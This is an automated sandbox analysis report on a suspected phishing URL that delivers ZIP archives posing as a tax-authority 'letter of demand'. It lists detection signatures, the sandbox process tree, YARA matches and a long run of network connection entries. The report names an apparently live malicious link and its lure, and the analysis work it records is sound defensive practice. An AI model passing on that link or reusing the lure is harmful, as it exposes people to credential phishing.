Edit tour

Windows Analysis Report
https://cloudfil.es/ly7mR8utBQ5

Overview

General Information

Sample URL:	https://cloudfil.es/ly7mR8utBQ5
Analysis ID:	708252
Infos:

Detection

HTMLPhisher

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish44

Found inlined nop instructions (likely shell or obfuscated code)

Found iframes

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

No HTML title found

Detected potential crypto function

HTTP GET or POST without a user agent

Creates a process in suspended mode (likely to inject code)

Contains long sleeps (>= 3 min)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5928 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 1572 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1936 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

unarchiver.exe (PID: 2768 cmdline: C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip MD5: 9DE2E060A2985A232D8B96F9EC847A19)

7za.exe (PID: 5912 cmdline: C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND.zip MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 7004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 3560 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3636 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6268 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6236 --field-trial-handle=1772,i,13935456055298204775,6851687727719502408,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

unarchiver.exe (PID: 1768 cmdline: C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip MD5: 9DE2E060A2985A232D8B96F9EC847A19)

7za.exe (PID: 4852 cmdline: C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\oluilyf2.xu4" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (1).zip MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

unarchiver.exe (PID: 4788 cmdline: C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip MD5: 9DE2E060A2985A232D8B96F9EC847A19)

7za.exe (PID: 7164 cmdline: C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\evppz250.yan" "C:\Users\user\Downloads\SARS OUTSTANDING LETTER OF DEMAND (2).zip MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 5772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 760 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cloudfil.es/ly7mR8utBQ5 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\oluilyf2.xu4\SARS OUTSTANDING LETTER OF DEMAND.html	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security
C:\Users\user\AppData\Local\Temp\evppz250.yan\SARS OUTSTANDING LETTER OF DEMAND.html	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security
C:\Users\user\AppData\Local\Temp\fsnnqwuj.h1e\SARS OUTSTANDING LETTER OF DEMAND.html	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTTP traffic detected: POST",e,d);else if(g.O("USE_NET_AJAX_FOR_PING_TRANSPORT",!1)||d)Iu(a,b,"GET","",d,void 0,f);else{b:{try{var l=new Dga({url:a});if(l.B&&l.u||l.C){var m=oi(g.qi(5,a));var n=!(!m||!m.endsWith("/aclk")||"1"!==Ai(a,"ri"));break b}}catch(p){}n=!1}n?moa(a)?(b&&b(),h=!0):h=!1:h=!1;h||noa(a,b)}};moa=function(a,b){try{if(window.navigator&&window.navigator.sendBeacon&&window.navigator.sendBeacon(a,void 0===b?"":b))return!0}catch(c){}return!1};noa=function(a,b){var c=new Image,d=""+ooa++;dx[d]=c;c.onload=c.onerror=function(){b&&dx[d]&&b();delete dx[d]};c.src=a};ex=function(){this.j=new Map;this.u=!1};fx=function(){if(!ex.j){var a=g.Ia("yt.networkRequestMonitor.instance")||new ex;g.Ha("yt.networkRequestMonitor.instance",a);ex.j=a}return ex.j};hx=function(){gx||(gx=new Hv("yt.offline"));return gx};poa=function(a){if(g.S("offline_error_handling")){var b=hx().get("errors",!0)||{};b[a.message]={name:a.name,stack:a.stack};a.level&&(b[a.message].level=a.level);hx().set("errors",b,2592E3,!0)}};ix=function(){g.Uf.call(this);var a=this;this.u=!1;this.j=lka();this.j.Ra("networkstatus-online",function(){if(a.u&&g.S("offline_error_handling")){var b=hx().get("errors",!0);if(b){for(var c in b)if(b[c]){var d=new g.Zv(c,"sent via offline_errors");d.name=b[c].name;d.stack=b[c].stack;d.level=b[c].level;g.n

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
